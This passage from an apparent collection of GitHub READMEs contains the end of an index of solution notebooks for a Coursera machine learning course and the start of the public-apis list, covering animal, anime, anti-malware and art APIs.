Scaling](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week2/Optional%20Labs/C1_W2_Lab03_Feature_Scaling_and_Learning_Rate_Soln.ipynb) - [Feature Engineering](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week2/Optional%20Labs/C1_W2_Lab04_FeatEng_PolyReg_Soln.ipynb) - [Sklearn Gradient Descent](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week2/Optional%20Labs/C1_W2_Lab05_Sklearn_GD_Soln.ipynb) - [Sklearn Normal Method](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week2/Optional%20Labs/C1_W2_Lab05_Sklearn_GD_Soln.ipynb) - [Programming Assignment](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week2/C1W2A1) - [Linear Regression](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week2/C1W2A1/C1_W2_Linear_Regression.ipynb) <br/> - [Week 3](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week3) - [Practice quiz: Cost function for logistic regression](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week3/Practice%20quiz%20-%20Cost%20function%20for%20logistic%20regression) - [Practice quiz: Gradient descent for logistic regression](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week3/Practice%20quiz%20-%20Gradient%20descent%20for%20logistic%20regression) - [Optional Labs](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week3/Optional%20Labs) - [Classification](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week3/Optional%20Labs/C1_W3_Lab01_Classification_Soln.ipynb) - [Sigmoid Function](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week3/Optional%20Labs/C1_W3_Lab02_Sigmoid_function_Soln.ipynb) - [Decision Boundary](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week3/Optional%20Labs/C1_W3_Lab03_Decision_Boundary_Soln.ipynb) - [Logistic Loss](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week3/Optional%20Labs/C1_W3_Lab04_LogisticLoss_Soln.ipynb) - [Cost Function](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week3/Optional%20Labs/C1_W3_Lab05_Cost_Function_Soln.ipynb) - [Gradient Descent](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week3/Optional%20Labs/C1_W3_Lab06_Gradient_Descent_Soln.ipynb) - [Scikit Learn - Logistic Regression](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week3/Optional%20Labs/C1_W3_Lab07_Scikit_Learn_Soln.ipynb) - [Overfitting](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week3/Optional%20Labs/C1_W3_Lab08_Overfitting_Soln.ipynb) - [Regularization](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week3/Optional%20Labs/C1_W3_Lab09_Regularization_Soln.ipynb) - [Programming Assignment](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week3/C1W3A1) - [Logistic Regression](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week3/C1W3A1/C1_W3_Logistic_Regression.ipynb) #### [Certificate Of Completion](https://coursera.org/share/195768f3c1a83e42298d3f61dae99d01) <br/> ## Course 2 : [Advanced Learning Algorithms](https://www.coursera.org/learn/advanced-learning-algorithms?specialization=machine-learning-introduction) - [Week 1](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week1) - [Practice quiz: Neural networks intuition](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week1/Practice%20quiz%20-%20Neural%20networks%20intuition) - [Practice quiz: Neural network model](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week1/Practice%20quiz%20-%20Neural%20network%20model) - [Practice quiz: TensorFlow implementation](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week1/Practice%20quiz%20-%20TensorFlow%20implementation) - [Practice quiz : Neural Networks Implementation in Numpy](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week1/Practice-Quiz-Neural-Networks-Implementation-in-python) - [Optional Labs](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week1/optional-labs) - [Neurons and Layers](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C2%20-%20Advanced%20Learning%20Algorithms/week1/optional-labs/C2_W1_Lab01_Neurons_and_Layers.ipynb) - [Coffee Roasting](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C2%20-%20Advanced%20Learning%20Algorithms/week1/optional-labs/C2_W1_Lab02_CoffeeRoasting_TF.ipynb) - [Coffee Roasting Using Numpy](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C2%20-%20Advanced%20Learning%20Algorithms/week1/optional-labs/C2_W1_Lab02_CoffeeRoasting_TF.ipynb) - [Programming Assignment](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week1/C2W1A1) - [Neural Networks for Binary Classification](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C2%20-%20Advanced%20Learning%20Algorithms/week1/C2W1A1/C2_W1_Assignment.ipynb) <br/> - [Week 2](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week2) - [Practice quiz : Neural Networks Training](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week2/Practice-Quiz-Neural-Network-Training) - [Practice quiz : Activation Functions](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week2/Practice-Quiz-Activation-Functions) - [Practice quiz : Multiclass Classification](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week2/Practice-quiz-Multiclass-Classification) - [Practice quiz : Additional Neural Networks Concepts](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week2/Practice-Quiz-Additional-Neural-Network-Concepts) - [Optional Labs](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week2/optional-labs) - [RElu](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C2%20-%20Advanced%20Learning%20Algorithms/week2/optional-labs/C2_W2_Relu.ipynb) - [Softmax](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C2%20-%20Advanced%20Learning%20Algorithms/week2/optional-labs/C2_W2_SoftMax.ipynb) - [Multiclass Classification](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C2%20-%20Advanced%20Learning%20Algorithms/week2/optional-labs/C2_W2_Multiclass_TF.ipynb) - [Programming Assignment](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week2/C2W2A1) - [Neural Networks For Handwritten Digit Recognition - Multiclass](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C2%20-%20Advanced%20Learning%20Algorithms/week2/C2W2A1/C2_W2_Assignment.ipynb) <br/> - [Week 3](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week3) - [Practice quiz : Advice for Applying Machine Learning](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week3/Practice-Quiz-Advice-for-applying-machine-learning) - [Practice quiz : Bias and Variance](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week3/practice-quiz-bias-and-variance) - [Practice quiz : Machine Learning Development Process](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week3/practice-quiz-machine-learning-development-process) - [Programming Assignment](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week3/C2W3A1) - [Advice for Applied Machine Learning](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C2%20-%20Advanced%20Learning%20Algorithms/week3/C2W3A1/C2_W3_Assignment.ipynb) <br/> - [Week 4](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week4) - [Practice quiz : Decision Trees](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week4/practice-quiz-decision-trees) - [Practice quiz : Decision Trees Learning](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week4/practice-quiz-decision-tree-learning) - [Practice quiz : Decision Trees Ensembles](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week4/practice-quiz-tree-ensembles) - [Programming Assignment](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C2%20-%20Advanced%20Learning%20Algorithms/week4/C2W4A1) - [Decision Trees](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C2%20-%20Advanced%20Learning%20Algorithms/week4/C2W4A1/C2_W4_Decision_Tree_with_Markdown.ipynb) #### [Certificate of Completion](https://coursera.org/share/c9a7766b0c6eab27db2e955376d29bf7) <br/> ## Course 3 : [Unsupervised Learning, Recommenders, Reinforcement Learning](https://www.coursera.org/learn/unsupervised-learning-recommenders-reinforcement-learning?specialization=machine-learning-introduction) <br/> - [Week 1](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C3%20-%20Unsupervised%20Learning%2C%20Recommenders%2C%20Reinforcement%20Learning/week1) - [Practice quiz : Clustering](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C3%20-%20Unsupervised%20Learning%2C%20Recommenders%2C%20Reinforcement%20Learning/week1/Practice%20Quiz%20-%20Clustering) - [Practice quiz : Anomaly Detection](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C3%20-%20Unsupervised%20Learning%2C%20Recommenders%2C%20Reinforcement%20Learning/week1/Practice%20Quiz%20-%20Anomaly%20Detection) - [Programming Assignments](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C3%20-%20Unsupervised%20Learning%2C%20Recommenders%2C%20Reinforcement%20Learning/week1/C3W1A) - [K means](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C3%20-%20Unsupervised%20Learning%2C%20Recommenders%2C%20Reinforcement%20Learning/week1/C3W1A/C3W1A1/C3_W1_KMeans_Assignment.ipynb) - [Anomaly Detection](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C3%20-%20Unsupervised%20Learning%2C%20Recommenders%2C%20Reinforcement%20Learning/week1/C3W1A/C3W1A2/C3_W1_Anomaly_Detection.ipynb) <br/> - [Week 2](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C3%20-%20Unsupervised%20Learning%2C%20Recommenders%2C%20Reinforcement%20Learning/week2) - [Practice quiz : Collaborative Filtering](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C3%20-%20Unsupervised%20Learning%2C%20Recommenders%2C%20Reinforcement%20Learning/week2/Practice%20Quiz%20-%20Collaborative%20Filtering) - [Practice quiz : Recommender systems implementation](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C3%20-%20Unsupervised%20Learning%2C%20Recommenders%2C%20Reinforcement%20Learning/week2/Practice%20Quiz%20-%20Recommender%20systems%20implementation) - [Practice quiz : Content-based filtering](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C3%20-%20Unsupervised%20Learning%2C%20Recommenders%2C%20Reinforcement%20Learning/week2/Practice%20Quiz%20-%20Content-based%20filtering) - [Programming Assignments](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C3%20-%20Unsupervised%20Learning%2C%20Recommenders%2C%20Reinforcement%20Learning/week2/C3W2) - [Collaborative Filtering RecSys](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C3%20-%20Unsupervised%20Learning%2C%20Recommenders%2C%20Reinforcement%20Learning/week2/C3W2/C3W2A1/C3_W2_Collaborative_RecSys_Assignment.ipynb) - [RecSys using Neural Networks](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C3%20-%20Unsupervised%20Learning%2C%20Recommenders%2C%20Reinforcement%20Learning/week2/C3W2/C3W2A2/C3_W2_RecSysNN_Assignment.ipynb) <br/> - [Week 3](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C3%20-%20Unsupervised%20Learning%2C%20Recommenders%2C%20Reinforcement%20Learning/week3) - [Practice quiz : Reinforcement learning introduction](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C3%20-%20Unsupervised%20Learning%2C%20Recommenders%2C%20Reinforcement%20Learning/week3/Practice%20Quiz%20-%20Reinforcement%20learning%20introduction) - [Practice Quiz : State-action value function](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C3%20-%20Unsupervised%20Learning%2C%20Recommenders%2C%20Reinforcement%20Learning/week3/Practice%20Quiz%20-%20State-action%20value%20function) - [Practice Quiz : Continuous state spaces](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C3%20-%20Unsupervised%20Learning%2C%20Recommenders%2C%20Reinforcement%20Learning/week3/Practice%20Quiz%20-%20Continuous%20state%20spaces) - [Programming Assignment](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C3%20-%20Unsupervised%20Learning%2C%20Recommenders%2C%20Reinforcement%20Learning/week3/C3W3A1) - [Deep Q-Learning - Lunar Lander](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C3%20-%20Unsupervised%20Learning%2C%20Recommenders%2C%20Reinforcement%20Learning/week3/C3W3A1/C3_W3_A1_Assignment.ipynb) #### [Certificate of Completion](https://coursera.org/share/5bf5ee456b0c806df9b8622067b47ca6) ### [Specialization Certificate](https://coursera.org/share/a15ac6426f90924491a542850700a759) <br/> <br/> <hr/> <div align="center"> [![Hits](https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fgithub.com%2Fgreyhatguy007%2FMachine-Learning-Specialization-Coursera&count_bg=%2379C83D&title_bg=%23555555&icon=&icon_color=%23E7E7E7&title=hits&edge_flat=false)](https://hits.seeyoufarm.com) </div> ### Course Review : This Course is a best place towards becoming a Machine Learning Engineer. Even if you're an expert, many algorithms are covered in depth such as decision trees which may help in further improvement of skills. Special thanks to [Professor Andrew Ng](https://www.andrewng.org/) for structuring and tailoring this Course. <br/> <hr/> #### An insight of what you might be able to accomplish at the end of this specialization : * <i>Write an unsupervised learning algorithm to Land the Lunar Lander Using Deep Q-Learning</i> - The Rover was trained to land correctly on the surface, correctly between the flags as indicators after many unsuccessful attempts in learning how to do it. - The final landing after training the agent using appropriate parameters : https://user-images.githubusercontent.com/77543865/182395635-703ae199-ba79-4940-86eb-23dd90093ab3.mp4 * <i>Write an algorithm for a Movie Recommender System</i> - A movie database is collected based on its genre. - A content based filtering and collaborative filtering algorithm is trained and the movie recommender system is implemented. - It gives movie recommendentations based on the movie genre. ![movie_recommendation](https://user-images.githubusercontent.com/77543865/182398093-c7387754-34a9-4044-b842-0085060c3525.png) * <i> And Much More !! </i> Concluding, this is a course which I would recommend everyone to take. Not just because you learn many new stuffs, but also the assignments are real life examples which are exciting to complete. <br/> Happy Learning :))	Contains Solutions and Notes for the Machine Learning Specialization By Stanford University and Deeplearning.ai - Coursera (2022) by Prof. Andrew NG	andrew-ng,andrew-ng-machine-learning,coursera,coursera-assignment,coursera-specialization,deep-learning,linear-regression,logistic-regression,machine-learning,python	0	7	23	138	11	1	0
marcelscruz/public-apis	<div align="center"> <div> <p align="center"><a href="https://publicapis.dev?ref=public_apis&utm_medium=repo_readme"><picture><source media="(prefers-color-scheme: dark)" srcset="./assets/public-apis.png" width="300px"><source media="(prefers-color-scheme: light)" srcset="./assets/scrapfly-light-mode.svg" width="300px"><img alt="Scrapfly logo" src="./assets/public-apis.png" width="300px"></picture></a> </p> <p align="center"><a href="https://publicapis.dev?ref=public_apis&utm_medium=repo_readme">Public APIs</a> — A collaborative list of public APIs for developers.</p> </div> </div> <br/> <hr/> <br/> <div align="center">Sponsored by</div> <br/> <div> <p align="center"><a href="https://scrapfly.io?ref=public_apis&utm_medium=repo_readme"><picture><source media="(prefers-color-scheme: dark)" srcset="./assets/scrapfly-dark-mode.svg" width="180px"><source media="(prefers-color-scheme: light)" srcset="./assets/scrapfly-light-mode.svg" width="180px"><img alt="Scrapfly logo" src="./assets/scrapfly-dark-mode.svg" width="180px"></picture></a> </p> <p align="center"><a href="https://scrapfly.io?ref=public_apis&utm_medium=repo_readme">Scrapfly</a> offers a top-tier Web Scraping API that simplifies scraping by handling real browser rendering, rotating proxies, and various fingerprints to overcome major anti-bot measures.</p> </div> <br/> <div> <p align="center"><a href="https://zenlogin.co?ref=public_apis&utm_medium=repo_readme"><picture><source media="(prefers-color-scheme: dark)" srcset="./assets/zenlogin.svg" width="210px"><source media="(prefers-color-scheme: light)" srcset="./assets/zenlogin.svg" width="210px"><img alt="Zenlogin logo" src="./assets/zenlogin.svg" width="210px"></picture></a></p> <p align="center"><a href="https://zenlogin.co?ref=public_apis&utm_medium=repo_readme">Zenlogin</a> detects suspicious logins so you don't have to. A single endpoint API to notify your users when there's been suspicious login activity on their account.</p> </div> <br/> <hr/> <br/> <br/> <div align="center"> <a href="API.md">API</a> • <a href="CONTRIBUTING.md">Contributing Guide</a> • <a href="https://github.com/marcelscruz/public-apis/issues">Issues</a> • <a href="https://github.com/marcelscruz/public-apis/pulls">Pull Requests</a> • <a href="LICENSE">License</a> </div> ## Index * [Animals](#animals) * [Anime](#anime) * [Anti-Malware](#anti-malware) * [Art & Design](#art--design) * [Authentication & Authorization](#authentication--authorization) * [Blockchain](#blockchain) * [Books](#books) * [Business](#business) * [Calendar](#calendar) * [Cloud Storage & File Sharing](#cloud-storage--file-sharing) * [Continuous Integration](#continuous-integration) * [Cryptocurrency](#cryptocurrency) * [Currency Exchange](#currency-exchange) * [Data Validation](#data-validation) * [Development](#development) * [Dictionaries](#dictionaries) * [Documents & Productivity](#documents--productivity) * [Email](#email) * [Entertainment](#entertainment) * [Environment](#environment) * [Events](#events) * [Finance](#finance) * [Food & Drink](#food--drink) * [Games & Comics](#games--comics) * [Geocoding](#geocoding) * [Government](#government) * [Health](#health) * [Jobs](#jobs) * [Machine Learning](#machine-learning) * [Music](#music) * [News](#news) * [Open Data](#open-data) * [Open Source Projects](#open-source-projects) * [Patent](#patent) * [Personality](#personality) * [Phone](#phone) * [Photography](#photography) * [Podcasts](#podcasts) * [Programming](#programming) * [Science & Math](#science--math) * [Security](#security) * [Shopping](#shopping) * [Social](#social) * [Sports & Fitness](#sports--fitness) * [Test Data](#test-data) * [Text Analysis](#text-analysis) * [Tracking](#tracking) * [Transportation](#transportation) * [URL Shorteners](#url-shorteners) * [Vehicle](#vehicle) * [Video](#video) * [Weather](#weather) ### Animals \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [AdoptAPet](https://www.adoptapet.com/public/apis/pet_list.html) \| Resource to help get pets adopted \| `apiKey` \| Yes \| Yes \| \| [Cat Facts](https://alexwohlbruck.github.io/cat-facts/) \| Daily cat facts \| No \| Yes \| No \| \| [Cataas](https://cataas.com/) \| Cat as a service (cats pictures and gifs) \| No \| Yes \| No \| \| [Cats](https://developers.thecatapi.com/) \| Pictures of cats from Tumblr \| `apiKey` \| Yes \| No \| \| [Dog Pics](https://dog.ceo/dog-api/) \| Pictures of dogs based on the Stanford Dogs Dataset \| No \| Yes \| Yes \| \| [Dogs](https://dogapi.dog/docs/api-v2) \| Random facts and breed information about dogs \| No \| Yes \| Yes \| \| [eBird](https://documenter.getpostman.com/view/664302/S1ENwy59) \| Retrieve recent or notable birding observations within a region \| `apiKey` \| Yes \| No \| \| [Foxes](https://foxes.cool) \| Random fox images with multiple different tags \| No \| Yes \| Yes \| \| [HTTP Cat](https://http.cat/) \| Cat for every HTTP Status \| No \| Yes \| Yes \| \| [HTTP Dog](https://http.dog/) \| Dogs for every HTTP response status code \| No \| Yes \| Yes \| \| [HTTP Status Dogs](https://httpstatusdogs.com/) \| Dogs for every HTTP response status code \| No \| Yes \| No \| \| [IUCN](http://apiv3.iucnredlist.org/api/v3/docs) \| IUCN Red List of Threatened Species \| `apiKey` \| No \| No \| \| [MeowFacts](https://github.com/wh-iterabb-it/meowfacts) \| Get random cat facts \| No \| Yes \| No \| \| [Movebank](https://github.com/movebank/movebank-api-doc) \| Movement and Migration data of animals \| No \| Yes \| Yes \| \| [Petfinder](https://www.petfinder.com/developers/) \| Petfinder is dedicated to helping pets find homes, another resource to get pets adopted \| `apiKey` \| Yes \| Yes \| \| [PlaceBear](https://placebear.com/) \| Placeholder bear pictures \| No \| Yes \| Yes \| \| [PlaceDog](https://place.dog) \| Placeholder Dog pictures \| No \| Yes \| Yes \| \| [RandomDog](https://random.dog/woof.json) \| Random pictures of dogs \| No \| Yes \| Yes \| \| [RandomDuck](https://random-d.uk/api) \| Random pictures of ducks \| No \| Yes \| No \| \| [RandomFox](https://randomfox.ca/floof/) \| Random pictures of foxes \| No \| Yes \| No \| \| [RescueGroups](https://userguide.rescuegroups.org/display/APIDG/API+Developers+Guide+Home) \| Adoption \| No \| Yes \| Unknown \| \| [Shibe.Online](http://shibe.online/) \| Random pictures of Shiba Inu, cats or birds \| No \| Yes \| Yes \| \| [The Dog](https://thedogapi.com/) \| A public service all about Dogs, free to use when making your fancy new App, Website or Service \| `apiKey` \| Yes \| No \| \| [xeno-canto](https://xeno-canto.org/explore/api) \| Bird recordings \| No \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Anime \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [AniDB](https://wiki.anidb.net/HTTP_API_Definition) \| Anime Database \| `apiKey` \| No \| Yes \| \| [AniList](https://github.com/AniList/ApiV2-GraphQL-Docs) \| Anime discovery & tracking \| `OAuth`\| Yes \| Unknown \| \| [AnimeNewsNetwork](https://www.animenewsnetwork.com/encyclopedia/api.php) \| Anime industry news \| No \| Yes \| Yes \| \| [Danbooru Anime](https://danbooru.donmai.us/wiki_pages/help:api) \| Thousands of anime artist database to find good anime art \| `apiKey` \| Yes \| Yes \| \| [Dattebayo API](https://api-dattebayo.vercel.app/) \| Dattebayo: Your Ultimate Naruto Anime API \| No \| Yes \| No \| \| [Jikan](https://jikan.moe) \| Unofficial MyAnimeList API \| No \| Yes \| Yes \| \| [Kitsu](https://kitsu.docs.apiary.io/) \| Anime discovery platform \| `OAuth`\| Yes \| Yes \| \| [MangaDex](https://api.mangadex.org/docs/) \| Manga Database and Community \| `apiKey` \| Yes \| Unknown \| \| [Mangapi](https://rapidapi.com/pierre.carcellermeunier/api/mangapi3/) \| Translate manga pages from one language to another \| `apiKey` \| Yes \| Unknown \| \| [MyAnimeList](https://myanimelist.net/clubs.php?cid=13727) \| Anime and Manga Database and Community \| `OAuth`\| Yes \| Unknown \| \| [Nekos API](https://nekosapi.com/docs) \| Anime images with lots of metadata \| `OAuth` \| Yes \| Yes \| \| [NekosBest](https://docs.nekos.best) \| Neko Images & Anime roleplaying GIFs \| No \| Yes \| Yes \| \| [NekosPro](https://documentation.nekos.pro) \| Neko images, roleplaying GIFs, & NSFW content \| No \| Yes \| Yes \| \| [Shikimori](https://shikimori.one/api/doc) \| Anime discovery, tracking, forum, rates \| `OAuth`\| Yes \| Unknown \| \| [Trace Moe](https://soruly.github.io/trace.moe-api/#/) \| A useful tool to get the exact scene of an anime from a screenshot \| No \| Yes \| No \| \| [Waifu.im](https://waifu.im/docs) \| Get waifu pictures from an archive of over 4000 images and multiple tags \| No \| Yes \| Yes \| \| [Waifu.it](https://docs.waifu.it) \| Free RESTful API for Anime Quotes, Facts, Emotes, Gifs, Nekos, Waifus and More! \| `apiKey` \| Yes \| Yes \| \| [Waifu.pics](https://waifu.pics/docs) \| Image sharing platform for anime images \| No \| Yes \| No \| \| [Wibu API](https://wibu-api.eu.org) \| Anime, Donghua, Manga, Manhua, Manhwa, J-Drama, Genshin Impact. All-in-one weebs related stuff api. \| No \| Yes \| Yes \| [⬆ Back to Index](#index) ### Anti-Malware \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [AbuseIPDB](https://docs.abuseipdb.com/) \| IP/domain/URL reputation \| `apiKey` \| Yes \| Unknown \| \| [AlienVault Open Threat Exchange (OTX)](https://otx.alienvault.com/api) \| IP/domain/URL reputation \| `apiKey` \| Yes \| Unknown \| \| [CAPEsandbox](https://capev2.readthedocs.io/en/latest/usage/api.html) \| Malware execution and analysis \| `apiKey` \| Yes \| Unknown \| \| [Google Safe Browsing](https://developers.google.com/safe-browsing/) \| Google Link/Domain Flagging \| `apiKey` \| Yes \| Unknown \| \| [MalDatabase](https://maldatabase.com/api-doc.html) \| Provide malware datasets and threat intelligence feeds \| `apiKey` \| Yes \| Unknown \| \| [MalShare](https://malshare.com/doc.php) \| Malware Archive / file sourcing \| `apiKey` \| Yes \| No \| \| [MalwareBazaar](https://bazaar.abuse.ch/api/) \| Collect and share malware samples \| `apiKey` \| Yes \| Unknown \| \| [Metacert](https://metacert.com/) \| Metacert Link Flagging \| `apiKey` \| Yes \| Unknown \| \| [Phisherman](https://phisherman.gg/) \| IP/domain/URL reputation \| `apiKey` \| Yes \| Unknown \| \| [Scanii](https://docs.scanii.com/) \| Simple REST API that can scan submitted documents/files for the presence of threats \| `apiKey` \| Yes \| Yes \| \| [URLhaus](https://urlhaus-api.abuse.ch/) \| Bulk queries and Download Malware Samples \| No \| Yes \| Yes \| \| [URLScan.io](https://urlscan.io/about-api/) \| Scan and Analyse URLs \| `apiKey` \| Yes \| Unknown \| \| [VirusTotal](https://www.virustotal.com/en/documentation/public-api/) \| VirusTotal File/URL Analysis \| `apiKey` \| Yes \| Unknown \| \| [Web of Trust](https://support.mywot.com/hc/en-us/sections/360004477734-API-) \| IP/domain/URL reputation \| `apiKey` \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Art & Design \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Améthyste](https://api.amethyste.moe/) \| Generate images for Discord users \| `apiKey` \| Yes \| Unknown \| \| [Art Institute of Chicago](https://api.artic.edu/docs/) \| Art \| No \| Yes \| Yes \| \| [Colormind](http://colormind.io/api-access/) \| Color scheme generator \| No \| No \| Unknown \| \| [ColourLovers](http://www.colourlovers.com/api) \| Get various patterns, palettes and images \| No \| Yes \| Unknown \| \| [Cooper Hewitt](https://collection.cooperhewitt.org/api) \| Smithsonian Design Museum \| `apiKey` \| Yes \| Unknown \| \| [Dribbble](https://developer.dribbble.com) \| Discover the world’s top designers & creatives \| `OAuth`\| Yes \| Unknown \| \| [EmojiHub](https://github.com/cheatsnake/emojihub) \| Get emojis by categories and groups \| No \| Yes \| Yes \| \| [Europeana](https://pro.europeana.eu/resources/apis/search) \| European Museum and Galleries content \| 